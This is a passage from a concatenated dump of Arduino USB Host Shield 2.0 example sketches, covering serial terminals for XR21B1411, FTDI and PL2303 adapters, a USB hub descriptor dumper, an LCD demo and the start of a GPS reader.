USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE): E_Notify(PSTR("\r\nWaiting for device..."), 0x80); break; case( USB_ATTACHED_SUBSTATE_RESET_DEVICE): E_Notify(PSTR("\r\nDevice connected. Resetting..."), 0x80); break; case( USB_ATTACHED_SUBSTATE_WAIT_SOF): E_Notify(PSTR("\r\nReset complete. Waiting for the first SOF..."), 0x80); break; case( USB_ATTACHED_SUBSTATE_GET_DEVICE_DESCRIPTOR_SIZE): E_Notify(PSTR("\r\nSOF generation started. Enumerating device..."), 0x80); break; case( USB_STATE_ADDRESSING): E_Notify(PSTR("\r\nSetting device address..."), 0x80); break; case( USB_STATE_RUNNING): E_Notify(PSTR("\r\nGetting device descriptor"), 0x80); rcode = Usb.getDevDescr(1, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*) & buf); if(rcode) { E_Notify(PSTR("\r\nError reading device descriptor. Error code "), 0x80); print_hex(rcode, 8); } else { /**/ E_Notify(PSTR("\r\nDescriptor Length:\t"), 0x80); print_hex(buf.bLength, 8); E_Notify(PSTR("\r\nDescriptor type:\t"), 0x80); print_hex(buf.bDescriptorType, 8); E_Notify(PSTR("\r\nUSB version:\t\t"), 0x80); print_hex(buf.bcdUSB, 16); E_Notify(PSTR("\r\nDevice class:\t\t"), 0x80); print_hex(buf.bDeviceClass, 8); E_Notify(PSTR("\r\nDevice Subclass:\t"), 0x80); print_hex(buf.bDeviceSubClass, 8); E_Notify(PSTR("\r\nDevice Protocol:\t"), 0x80); print_hex(buf.bDeviceProtocol, 8); E_Notify(PSTR("\r\nMax.packet size:\t"), 0x80); print_hex(buf.bMaxPacketSize0, 8); E_Notify(PSTR("\r\nVendor ID:\t\t"), 0x80); print_hex(buf.idVendor, 16); E_Notify(PSTR("\r\nProduct ID:\t\t"), 0x80); print_hex(buf.idProduct, 16); E_Notify(PSTR("\r\nRevision ID:\t\t"), 0x80); print_hex(buf.bcdDevice, 16); E_Notify(PSTR("\r\nMfg.string index:\t"), 0x80); print_hex(buf.iManufacturer, 8); E_Notify(PSTR("\r\nProd.string index:\t"), 0x80); print_hex(buf.iProduct, 8); E_Notify(PSTR("\r\nSerial number index:\t"), 0x80); print_hex(buf.iSerialNumber, 8); E_Notify(PSTR("\r\nNumber of conf.:\t"), 0x80); print_hex(buf.bNumConfigurations, 8); /**/ E_Notify(PSTR("\r\n\nAll tests passed. Press RESET to restart test"), 0x80); while(1) { #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif } } break; case( USB_STATE_ERROR): E_Notify(PSTR("\r\nUSB state machine reached error state"), 0x80); break; default: break; }//switch( usbstate... } }//loop()... /* constantly transmits 0x55 via SPI to aid probing */ void halt55() { E_Notify(PSTR("\r\nUnrecoverable error - test halted!!"), 0x80); E_Notify(PSTR("\r\n0x55 pattern is transmitted via SPI"), 0x80); E_Notify(PSTR("\r\nPress RESET to restart test"), 0x80); while(1) { Usb.regWr(0x55, 0x55); #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif } } /* prints hex numbers with leading zeroes */ void print_hex(int v, int num_places) { int mask = 0, n, num_nibbles, digit; for(n = 1; n <= num_places; n++) { mask = (mask << 1) | 0x0001; } v = v & mask; // truncate v to specified number of places num_nibbles = num_places / 4; if((num_places % 4) != 0) { ++num_nibbles; } do { digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f; Serial.print(digit, HEX); } while(--num_nibbles); } /* prints "Press any key" and returns when key is pressed */ void press_any_key() { E_Notify(PSTR("\r\nPress any key to continue..."), 0x80); while(Serial.available() <= 0) { // wait for input #ifdef ESP8266 yield(); // needed in order to reset the watchdog timer on the ESP8266 #endif } Serial.read(); //empty input buffer return; } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/cdc_XR21B1411/XR_terminal/XR_terminal.ino ================================================ #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include class ACMAsyncOper : public CDCAsyncOper { public: uint8_t OnInit(ACM *pacm); }; uint8_t ACMAsyncOper::OnInit(ACM *pacm) { uint8_t rcode; // Set DTR = 1 RTS=1 rcode = pacm->SetControlLineState(3); if (rcode) { ErrorMessage(PSTR("SetControlLineState"), rcode); return rcode; } LINE_CODING lc; lc.dwDTERate = 115200; lc.bCharFormat = 0; lc.bParityType = 0; lc.bDataBits = 8; rcode = pacm->SetLineCoding(&lc); if (rcode) ErrorMessage(PSTR("SetLineCoding"), rcode); return rcode; } USB Usb; ACMAsyncOper AsyncOper; XR21B1411 Acm(&Usb, &AsyncOper); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("\r\n\r\nStart"); if (Usb.Init() == -1) Serial.println("OSCOKIRQ failed to assert"); } void loop() { Usb.Task(); if( Acm.isReady()) { uint8_t rcode; uint8_t buf[1]; uint16_t rcvd = 1; /* read keyboard */ if(Serial.available()) { uint8_t data = Serial.read(); /* send */ rcode = Acm.SndData(1, &data); if (rcode) ErrorMessage(PSTR("SndData"), rcode); } /* read XR serial */ rcode = Acm.RcvData(&rcvd, buf); if (rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), rcode); if( rcvd ) { //more than zero bytes received for(uint16_t i=0; i < rcvd; i++ ) { Serial.print((char)buf[i]); } } } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/ftdi/USBFTDILoopback/USBFTDILoopback.ino ================================================ #include #include #include "pgmstrings.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class FTDIAsync : public FTDIAsyncOper { public: uint8_t OnInit(FTDI *pftdi); }; uint8_t FTDIAsync::OnInit(FTDI *pftdi) { uint8_t rcode = 0; rcode = pftdi->SetBaudRate(115200); if (rcode) { ErrorMessage(PSTR("SetBaudRate"), rcode); return rcode; } rcode = pftdi->SetFlowControl(FTDI_SIO_DISABLE_FLOW_CTRL); if (rcode) ErrorMessage(PSTR("SetFlowControl"), rcode); return rcode; } USB Usb; //USBHub Hub(&Usb); FTDIAsync FtdiAsync; FTDI Ftdi(&Usb, &FtdiAsync); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); } void loop() { Usb.Task(); if( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { uint8_t rcode; char strbuf[] = "DEADBEEF"; //char strbuf[] = "The quick brown fox jumps over the lazy dog"; //char strbuf[] = "This string contains 61 character to demonstrate FTDI buffers"; //add one symbol to it to see some garbage Serial.print("."); rcode = Ftdi.SndData(strlen(strbuf), (uint8_t*)strbuf); if (rcode) ErrorMessage(PSTR("SndData"), rcode); delay(50); uint8_t buf[64]; for (uint8_t i=0; i<64; i++) buf[i] = 0; uint16_t rcvd = 64; rcode = Ftdi.RcvData(&rcvd, buf); if (rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), rcode); // The device reserves the first two bytes of data // to contain the current values of the modem and line status registers. if (rcvd > 2) Serial.print((char*)(buf+2)); delay(10); } } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/ftdi/USBFTDILoopback/pgmstrings.h ================================================ #if !defined(__PGMSTRINGS_H__) #define __PGMSTRINGS_H__ #define LOBYTE(x) ((char*)(&(x)))[0] #define HIBYTE(x) ((char*)(&(x)))[1] #define BUFSIZE 256 //buffer size /* Print strings in Program Memory */ const char Gen_Error_str[] PROGMEM = "\r\nRequest error. Error code:\t"; const char Dev_Header_str[] PROGMEM ="\r\nDevice descriptor: "; const char Dev_Length_str[] PROGMEM ="\r\nDescriptor Length:\t"; const char Dev_Type_str[] PROGMEM ="\r\nDescriptor type:\t"; const char Dev_Version_str[] PROGMEM ="\r\nUSB version:\t\t"; const char Dev_Class_str[] PROGMEM ="\r\nDevice class:\t\t"; const char Dev_Subclass_str[] PROGMEM ="\r\nDevice Subclass:\t"; const char Dev_Protocol_str[] PROGMEM ="\r\nDevice Protocol:\t"; const char Dev_Pktsize_str[] PROGMEM ="\r\nMax.packet size:\t"; const char Dev_Vendor_str[] PROGMEM ="\r\nVendor ID:\t\t"; const char Dev_Product_str[] PROGMEM ="\r\nProduct ID:\t\t"; const char Dev_Revision_str[] PROGMEM ="\r\nRevision ID:\t\t"; const char Dev_Mfg_str[] PROGMEM ="\r\nMfg.string index:\t"; const char Dev_Prod_str[] PROGMEM ="\r\nProd.string index:\t"; const char Dev_Serial_str[] PROGMEM ="\r\nSerial number index:\t"; const char Dev_Nconf_str[] PROGMEM ="\r\nNumber of conf.:\t"; const char Conf_Trunc_str[] PROGMEM ="Total length truncated to 256 bytes"; const char Conf_Header_str[] PROGMEM ="\r\nConfiguration descriptor:"; const char Conf_Totlen_str[] PROGMEM ="\r\nTotal length:\t\t"; const char Conf_Nint_str[] PROGMEM ="\r\nNum.intf:\t\t"; const char Conf_Value_str[] PROGMEM ="\r\nConf.value:\t\t"; const char Conf_String_str[] PROGMEM ="\r\nConf.string:\t\t"; const char Conf_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char Conf_Pwr_str[] PROGMEM ="\r\nMax.pwr:\t\t"; const char Int_Header_str[] PROGMEM ="\r\n\r\nInterface descriptor:"; const char Int_Number_str[] PROGMEM ="\r\nIntf.number:\t\t"; const char Int_Alt_str[] PROGMEM ="\r\nAlt.:\t\t\t"; const char Int_Endpoints_str[] PROGMEM ="\r\nEndpoints:\t\t"; const char Int_Class_str[] PROGMEM ="\r\nIntf. Class:\t\t"; const char Int_Subclass_str[] PROGMEM ="\r\nIntf. Subclass:\t\t"; const char Int_Protocol_str[] PROGMEM ="\r\nIntf. Protocol:\t\t"; const char Int_String_str[] PROGMEM ="\r\nIntf.string:\t\t"; const char End_Header_str[] PROGMEM ="\r\n\r\nEndpoint descriptor:"; const char End_Address_str[] PROGMEM ="\r\nEndpoint address:\t"; const char End_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char End_Pktsize_str[] PROGMEM ="\r\nMax.pkt size:\t\t"; const char End_Interval_str[] PROGMEM ="\r\nPolling interval:\t"; const char Unk_Header_str[] PROGMEM = "\r\nUnknown descriptor:"; const char Unk_Length_str[] PROGMEM ="\r\nLength:\t\t"; const char Unk_Type_str[] PROGMEM ="\r\nType:\t\t"; const char Unk_Contents_str[] PROGMEM ="\r\nContents:\t"; #endif // __PGMSTRINGS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/hub_demo/hub_demo.ino ================================================ #include #include "pgmstrings.h" // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include USB Usb; USBHub Hub1(&Usb); USBHub Hub2(&Usb); USBHub Hub3(&Usb); USBHub Hub4(&Usb); uint32_t next_time; void PrintAllAddresses(UsbDevice *pdev) { UsbDeviceAddress adr; adr.devAddress = pdev->address.devAddress; Serial.print("Addr:"); Serial.print(adr.devAddress, HEX); Serial.print("("); Serial.print(adr.bmHub, HEX); Serial.print("."); Serial.print(adr.bmParent, HEX); Serial.print("."); Serial.print(adr.bmAddress, HEX); Serial.println(")"); } void PrintAddress(uint8_t addr) { UsbDeviceAddress adr; adr.devAddress = addr; Serial.print("\r\nADDR:\t"); Serial.println(adr.devAddress, HEX); Serial.print("DEV:\t"); Serial.println(adr.bmAddress, HEX); Serial.print("PRNT:\t"); Serial.println(adr.bmParent, HEX); Serial.print("HUB:\t"); Serial.println(adr.bmHub, HEX); } void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSC did not start."); delay( 200 ); next_time = (uint32_t)millis() + 10000; } void PrintDescriptors(uint8_t addr) { uint8_t rcode = 0; uint8_t num_conf = 0; rcode = getdevdescr( (uint8_t)addr, num_conf ); if ( rcode ) { printProgStr(Gen_Error_str); print_hex( rcode, 8 ); } Serial.print("\r\n"); for (uint8_t i = 0; i < num_conf; i++) { rcode = getconfdescr( addr, i ); // get configuration descriptor if ( rcode ) { printProgStr(Gen_Error_str); print_hex(rcode, 8); } Serial.println("\r\n"); } } void PrintAllDescriptors(UsbDevice *pdev) { Serial.println("\r\n"); print_hex(pdev->address.devAddress, 8); Serial.println("\r\n--"); getallstrdescr(pdev->address.devAddress); PrintDescriptors( pdev->address.devAddress ); } void loop() { Usb.Task(); if ( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { if ((int32_t)((uint32_t)millis() - next_time) >= 0L) { Usb.ForEachUsbDevice(&PrintAllDescriptors); Usb.ForEachUsbDevice(&PrintAllAddresses); while ( 1 ); //stop } } } uint8_t getdevdescr( uint8_t addr, uint8_t &num_conf ) { USB_DEVICE_DESCRIPTOR buf; uint8_t rcode; rcode = Usb.getDevDescr( addr, 0, DEV_DESCR_LEN, ( uint8_t *)&buf ); if ( rcode ) { return ( rcode ); } printProgStr(Dev_Header_str); printProgStr(Dev_Length_str); print_hex( buf.bLength, 8 ); printProgStr(Dev_Type_str); print_hex( buf.bDescriptorType, 8 ); printProgStr(Dev_Version_str); print_hex( buf.bcdUSB, 16 ); printProgStr(Dev_Class_str); print_hex( buf.bDeviceClass, 8 ); printProgStr(Dev_Subclass_str); print_hex( buf.bDeviceSubClass, 8 ); printProgStr(Dev_Protocol_str); print_hex( buf.bDeviceProtocol, 8 ); printProgStr(Dev_Pktsize_str); print_hex( buf.bMaxPacketSize0, 8 ); printProgStr(Dev_Vendor_str); print_hex( buf.idVendor, 16 ); printProgStr(Dev_Product_str); print_hex( buf.idProduct, 16 ); printProgStr(Dev_Revision_str); print_hex( buf.bcdDevice, 16 ); printProgStr(Dev_Mfg_str); print_hex( buf.iManufacturer, 8 ); printProgStr(Dev_Prod_str); print_hex( buf.iProduct, 8 ); printProgStr(Dev_Serial_str); print_hex( buf.iSerialNumber, 8 ); printProgStr(Dev_Nconf_str); print_hex( buf.bNumConfigurations, 8 ); num_conf = buf.bNumConfigurations; return ( 0 ); } void printhubdescr(uint8_t *descrptr, uint8_t addr) { HubDescriptor *pHub = (HubDescriptor*) descrptr; uint8_t len = *((uint8_t*)descrptr); printProgStr(PSTR("\r\n\r\nHub Descriptor:\r\n")); printProgStr(PSTR("bDescLength:\t\t")); Serial.println(pHub->bDescLength, HEX); printProgStr(PSTR("bDescriptorType:\t")); Serial.println(pHub->bDescriptorType, HEX); printProgStr(PSTR("bNbrPorts:\t\t")); Serial.println(pHub->bNbrPorts, HEX); printProgStr(PSTR("LogPwrSwitchMode:\t")); Serial.println(pHub->LogPwrSwitchMode, BIN); printProgStr(PSTR("CompoundDevice:\t\t")); Serial.println(pHub->CompoundDevice, BIN); printProgStr(PSTR("OverCurrentProtectMode:\t")); Serial.println(pHub->OverCurrentProtectMode, BIN); printProgStr(PSTR("TTThinkTime:\t\t")); Serial.println(pHub->TTThinkTime, BIN); printProgStr(PSTR("PortIndicatorsSupported:")); Serial.println(pHub->PortIndicatorsSupported, BIN); printProgStr(PSTR("Reserved:\t\t")); Serial.println(pHub->Reserved, HEX); printProgStr(PSTR("bPwrOn2PwrGood:\t\t")); Serial.println(pHub->bPwrOn2PwrGood, HEX); printProgStr(PSTR("bHubContrCurrent:\t")); Serial.println(pHub->bHubContrCurrent, HEX); for (uint8_t i = 7; i < len; i++) print_hex(descrptr[i], 8); //for (uint8_t i=1; i<=pHub->bNbrPorts; i++) // PrintHubPortStatus(&Usb, addr, i, 1); } uint8_t getconfdescr( uint8_t addr, uint8_t conf ) { uint8_t buf[ BUFSIZE ]; uint8_t* buf_ptr = buf; uint8_t rcode; uint8_t descr_length; uint8_t descr_type; uint16_t total_length; rcode = Usb.getConfDescr( addr, 0, 4, conf, buf ); //get total length LOBYTE( total_length ) = buf[ 2 ]; HIBYTE( total_length ) = buf[ 3 ]; if ( total_length > 256 ) { //check if total length is larger than buffer printProgStr(Conf_Trunc_str); total_length = 256; } rcode = Usb.getConfDescr( addr, 0, total_length, conf, buf ); //get the whole descriptor while ( buf_ptr < buf + total_length ) { //parsing descriptors descr_length = *( buf_ptr ); descr_type = *( buf_ptr + 1 ); switch ( descr_type ) { case ( USB_DESCRIPTOR_CONFIGURATION ): printconfdescr( buf_ptr ); break; case ( USB_DESCRIPTOR_INTERFACE ): printintfdescr( buf_ptr ); break; case ( USB_DESCRIPTOR_ENDPOINT ): printepdescr( buf_ptr ); break; case 0x29: printhubdescr( buf_ptr, addr ); break; default: printunkdescr( buf_ptr ); break; }//switch( descr_type buf_ptr = ( buf_ptr + descr_length ); //advance buffer pointer }//while( buf_ptr <=... return ( rcode ); } // function to get all string descriptors uint8_t getallstrdescr(uint8_t addr) { uint8_t rcode = 0; Usb.Task(); if ( Usb.getUsbTaskState() >= USB_STATE_CONFIGURING ) { // state configuring or higher USB_DEVICE_DESCRIPTOR buf; rcode = Usb.getDevDescr( addr, 0, DEV_DESCR_LEN, ( uint8_t *)&buf ); if ( rcode ) { return ( rcode ); } Serial.println("String Descriptors:"); if ( buf.iManufacturer > 0 ) { Serial.print("Manufacturer:\t\t"); rcode = getstrdescr( addr, buf.iManufacturer ); // get manufacturer string if ( rcode ) { Serial.println( rcode, HEX ); } Serial.print("\r\n"); } if ( buf.iProduct > 0 ) { Serial.print("Product:\t\t"); rcode = getstrdescr( addr, buf.iProduct ); // get product string if ( rcode ) { Serial.println( rcode, HEX ); } Serial.print("\r\n"); } if ( buf.iSerialNumber > 0 ) { Serial.print("Serial:\t\t\t"); rcode = getstrdescr( addr, buf.iSerialNumber ); // get serial string if ( rcode ) { Serial.println( rcode, HEX ); } Serial.print("\r\n"); } } return rcode; } // function to get single string description uint8_t getstrdescr( uint8_t addr, uint8_t idx ) { uint8_t buf[ 256 ]; uint8_t rcode; uint8_t length; uint8_t i; uint16_t langid; rcode = Usb.getStrDescr( addr, 0, 1, 0, 0, buf ); //get language table length if ( rcode ) { Serial.println("Error retrieving LangID table length"); return ( rcode ); } length = buf[ 0 ]; //length is the first byte rcode = Usb.getStrDescr( addr, 0, length, 0, 0, buf ); //get language table if ( rcode ) { Serial.print("Error retrieving LangID table "); return ( rcode ); } langid = (buf[3] << 8) | buf[2]; rcode = Usb.getStrDescr( addr, 0, 1, idx, langid, buf ); if ( rcode ) { Serial.print("Error retrieving string length "); return ( rcode ); } length = buf[ 0 ]; rcode = Usb.getStrDescr( addr, 0, length, idx, langid, buf ); if ( rcode ) { Serial.print("Error retrieving string "); return ( rcode ); } for ( i = 2; i < length; i += 2 ) { //string is UTF-16LE encoded Serial.print((char) buf[i]); } return ( rcode ); } /* prints hex numbers with leading zeroes */ // copyright, Peter H Anderson, Baltimore, MD, Nov, '07 // source: http://www.phanderson.com/arduino/arduino_display.html void print_hex(int v, int num_places) { int mask = 0, n, num_nibbles, digit; for (n = 1; n <= num_places; n++) { mask = (mask << 1) | 0x0001; } v = v & mask; // truncate v to specified number of places num_nibbles = num_places / 4; if ((num_places % 4) != 0) { ++num_nibbles; } do { digit = ((v >> (num_nibbles - 1) * 4)) & 0x0f; Serial.print(digit, HEX); } while (--num_nibbles); } /* function to print configuration descriptor */ void printconfdescr( uint8_t* descr_ptr ) { USB_CONFIGURATION_DESCRIPTOR* conf_ptr = ( USB_CONFIGURATION_DESCRIPTOR* )descr_ptr; printProgStr(Conf_Header_str); printProgStr(Conf_Totlen_str); print_hex( conf_ptr->wTotalLength, 16 ); printProgStr(Conf_Nint_str); print_hex( conf_ptr->bNumInterfaces, 8 ); printProgStr(Conf_Value_str); print_hex( conf_ptr->bConfigurationValue, 8 ); printProgStr(Conf_String_str); print_hex( conf_ptr->iConfiguration, 8 ); printProgStr(Conf_Attr_str); print_hex( conf_ptr->bmAttributes, 8 ); printProgStr(Conf_Pwr_str); print_hex( conf_ptr->bMaxPower, 8 ); return; } /* function to print interface descriptor */ void printintfdescr( uint8_t* descr_ptr ) { USB_INTERFACE_DESCRIPTOR* intf_ptr = ( USB_INTERFACE_DESCRIPTOR* )descr_ptr; printProgStr(Int_Header_str); printProgStr(Int_Number_str); print_hex( intf_ptr->bInterfaceNumber, 8 ); printProgStr(Int_Alt_str); print_hex( intf_ptr->bAlternateSetting, 8 ); printProgStr(Int_Endpoints_str); print_hex( intf_ptr->bNumEndpoints, 8 ); printProgStr(Int_Class_str); print_hex( intf_ptr->bInterfaceClass, 8 ); printProgStr(Int_Subclass_str); print_hex( intf_ptr->bInterfaceSubClass, 8 ); printProgStr(Int_Protocol_str); print_hex( intf_ptr->bInterfaceProtocol, 8 ); printProgStr(Int_String_str); print_hex( intf_ptr->iInterface, 8 ); return; } /* function to print endpoint descriptor */ void printepdescr( uint8_t* descr_ptr ) { USB_ENDPOINT_DESCRIPTOR* ep_ptr = ( USB_ENDPOINT_DESCRIPTOR* )descr_ptr; printProgStr(End_Header_str); printProgStr(End_Address_str); print_hex( ep_ptr->bEndpointAddress, 8 ); printProgStr(End_Attr_str); print_hex( ep_ptr->bmAttributes, 8 ); printProgStr(End_Pktsize_str); print_hex( ep_ptr->wMaxPacketSize, 16 ); printProgStr(End_Interval_str); print_hex( ep_ptr->bInterval, 8 ); return; } /*function to print unknown descriptor */ void printunkdescr( uint8_t* descr_ptr ) { uint8_t length = *descr_ptr; uint8_t i; printProgStr(Unk_Header_str); printProgStr(Unk_Length_str); print_hex( *descr_ptr, 8 ); printProgStr(Unk_Type_str); print_hex( *(descr_ptr + 1 ), 8 ); printProgStr(Unk_Contents_str); descr_ptr += 2; for ( i = 0; i < length; i++ ) { print_hex( *descr_ptr, 8 ); descr_ptr++; } } /* Print a string from Program Memory directly to save RAM */ void printProgStr(const char* str) { char c; if (!str) return; while ((c = pgm_read_byte(str++))) Serial.print(c); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/hub_demo/pgmstrings.h ================================================ #if !defined(__PGMSTRINGS_H__) #define __PGMSTRINGS_H__ #define LOBYTE(x) ((char*)(&(x)))[0] #define HIBYTE(x) ((char*)(&(x)))[1] #define BUFSIZE 256 //buffer size /* Print strings in Program Memory */ const char Gen_Error_str[] PROGMEM = "\r\nRequest error. Error code:\t"; const char Dev_Header_str[] PROGMEM ="\r\nDevice descriptor: "; const char Dev_Length_str[] PROGMEM ="\r\nDescriptor Length:\t"; const char Dev_Type_str[] PROGMEM ="\r\nDescriptor type:\t"; const char Dev_Version_str[] PROGMEM ="\r\nUSB version:\t\t"; const char Dev_Class_str[] PROGMEM ="\r\nDevice class:\t\t"; const char Dev_Subclass_str[] PROGMEM ="\r\nDevice Subclass:\t"; const char Dev_Protocol_str[] PROGMEM ="\r\nDevice Protocol:\t"; const char Dev_Pktsize_str[] PROGMEM ="\r\nMax.packet size:\t"; const char Dev_Vendor_str[] PROGMEM ="\r\nVendor ID:\t\t"; const char Dev_Product_str[] PROGMEM ="\r\nProduct ID:\t\t"; const char Dev_Revision_str[] PROGMEM ="\r\nRevision ID:\t\t"; const char Dev_Mfg_str[] PROGMEM ="\r\nMfg.string index:\t"; const char Dev_Prod_str[] PROGMEM ="\r\nProd.string index:\t"; const char Dev_Serial_str[] PROGMEM ="\r\nSerial number index:\t"; const char Dev_Nconf_str[] PROGMEM ="\r\nNumber of conf.:\t"; const char Conf_Trunc_str[] PROGMEM ="Total length truncated to 256 bytes"; const char Conf_Header_str[] PROGMEM ="\r\nConfiguration descriptor:"; const char Conf_Totlen_str[] PROGMEM ="\r\nTotal length:\t\t"; const char Conf_Nint_str[] PROGMEM ="\r\nNum.intf:\t\t"; const char Conf_Value_str[] PROGMEM ="\r\nConf.value:\t\t"; const char Conf_String_str[] PROGMEM ="\r\nConf.string:\t\t"; const char Conf_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char Conf_Pwr_str[] PROGMEM ="\r\nMax.pwr:\t\t"; const char Int_Header_str[] PROGMEM ="\r\n\r\nInterface descriptor:"; const char Int_Number_str[] PROGMEM ="\r\nIntf.number:\t\t"; const char Int_Alt_str[] PROGMEM ="\r\nAlt.:\t\t\t"; const char Int_Endpoints_str[] PROGMEM ="\r\nEndpoints:\t\t"; const char Int_Class_str[] PROGMEM ="\r\nIntf. Class:\t\t"; const char Int_Subclass_str[] PROGMEM ="\r\nIntf. Subclass:\t\t"; const char Int_Protocol_str[] PROGMEM ="\r\nIntf. Protocol:\t\t"; const char Int_String_str[] PROGMEM ="\r\nIntf.string:\t\t"; const char End_Header_str[] PROGMEM ="\r\n\r\nEndpoint descriptor:"; const char End_Address_str[] PROGMEM ="\r\nEndpoint address:\t"; const char End_Attr_str[] PROGMEM ="\r\nAttr.:\t\t\t"; const char End_Pktsize_str[] PROGMEM ="\r\nMax.pkt size:\t\t"; const char End_Interval_str[] PROGMEM ="\r\nPolling interval:\t"; const char Unk_Header_str[] PROGMEM = "\r\nUnknown descriptor:"; const char Unk_Length_str[] PROGMEM ="\r\nLength:\t\t"; const char Unk_Type_str[] PROGMEM ="\r\nType:\t\t"; const char Unk_Contents_str[] PROGMEM ="\r\nContents:\t"; #endif // __PGMSTRINGS_H__ ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/max_LCD/max_LCD.ino ================================================ // Just a copy of the HelloWorld example bundled with the LiquidCrystal library in the Arduino IDE // HD44780 compatible LCD display via MAX3421E GPOUT support header // pinout: D[4-7] -> GPOUT[4-7], RS-> GPOUT[2], E ->GPOUT[3] #include // Satisfy IDE, which only needs to see the include statment in the ino. #ifdef dobogusinclude #include #endif #include USB Usb; Max_LCD lcd(&Usb); void setup() { // Set up the LCD's number of columns and rows: lcd.begin(16, 2); // Print a message to the LCD. lcd.print("Hello, World!"); } void loop() { // Set the cursor to column 0, line 1 (note: line 1 is the second row, since counting begins with 0): lcd.setCursor(0, 1); // Print the number of seconds since reset: lcd.print((uint32_t)millis() / 1000); } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_gprs_terminal/pl2303_gprs_terminal.ino ================================================ /* Arduino terminal for PL2303 USB to serial converter and DealeXtreme GPRS modem. */ /* USB support */ #include /* CDC support */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class PLAsyncOper : public CDCAsyncOper { public: uint8_t OnInit(ACM *pacm); }; uint8_t PLAsyncOper::OnInit(ACM *pacm) { uint8_t rcode; // Set DTR = 1 rcode = pacm->SetControlLineState(1); if (rcode) { ErrorMessage(PSTR("SetControlLineState"), rcode); return rcode; } LINE_CODING lc; //lc.dwDTERate = 9600; lc.dwDTERate = 115200; lc.bCharFormat = 0; lc.bParityType = 0; lc.bDataBits = 8; rcode = pacm->SetLineCoding(&lc); if (rcode) ErrorMessage(PSTR("SetLineCoding"), rcode); return rcode; } USB Usb; //USBHub Hub(&Usb); PLAsyncOper AsyncOper; PL2303 Pl(&Usb, &AsyncOper); void setup() { Serial.begin( 115200 ); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if (Usb.Init() == -1) Serial.println("OSCOKIRQ failed to assert"); delay( 200 ); } void loop() { Usb.Task(); if( Usb.getUsbTaskState() == USB_STATE_RUNNING ) { uint8_t rcode; /* reading the keyboard */ if(Serial.available()) { uint8_t data= Serial.read(); /* sending to the phone */ rcode = Pl.SndData(1, &data); if (rcode) ErrorMessage(PSTR("SndData"), rcode); }//if(Serial.available()... /* reading the converter */ /* buffer size must be greater or equal to max.packet size */ /* it it set to 64 (largest possible max.packet size) here, can be tuned down for particular endpoint */ uint8_t buf[64]; uint16_t rcvd = 64; rcode = Pl.RcvData(&rcvd, buf); if (rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), rcode); if( rcvd ) { //more than zero bytes received for(uint16_t i=0; i < rcvd; i++ ) { Serial.print((char)buf[i]); //printing on the screen } }//if( rcvd ... }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING.. } ================================================ FILE: libraries/USB_Host_Shield_2.0/examples/pl2303/pl2303_gps/pl2303_gps.ino ================================================ /* USB Host to PL2303-based USB GPS unit interface */ /* Navibee GM720 receiver - Sirf Star III */ /* USB support */ #include /* CDC support */ #include #include // Satisfy the IDE, which needs to see the include statment in the ino too. #ifdef dobogusinclude #include #endif #include class PLAsyncOper : public CDCAsyncOper { public: uint8_t OnInit(ACM *pacm); }; uint8_t PLAsyncOper::OnInit(ACM *pacm) { uint8_t rcode; // Set DTR = 1 rcode = pacm->SetControlLineState(1); if(rcode) { ErrorMessage(PSTR("SetControlLineState"), rcode); return rcode; } LINE_CODING lc; lc.dwDTERate = 4800; //default serial speed of GPS unit lc.bCharFormat = 0; lc.bParityType = 0; lc.bDataBits = 8; rcode = pacm->SetLineCoding(&lc); if(rcode) ErrorMessage(PSTR("SetLineCoding"), rcode); return rcode; } USB Usb; USBHub Hub(&Usb); PLAsyncOper AsyncOper; PL2303 Pl(&Usb, &AsyncOper); uint32_t read_delay; #define READ_DELAY 100 void setup() { Serial.begin(115200); #if !defined(__MIPSEL__) while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection #endif Serial.println("Start"); if(Usb.Init() == -1) Serial.println("OSCOKIRQ failed to assert"); delay(200); } void loop() { uint8_t rcode; uint8_t buf[64]; //serial buffer equals Max.packet size of bulk-IN endpoint uint16_t rcvd = 64; Usb.Task(); if(Pl.isReady()) { /* reading the GPS */ if((int32_t)((uint32_t)millis() - read_delay) >= 0L) { read_delay += READ_DELAY; rcode = Pl.RcvData(&rcvd, buf); if(rcode && rcode != hrNAK) ErrorMessage(PSTR("Ret"), 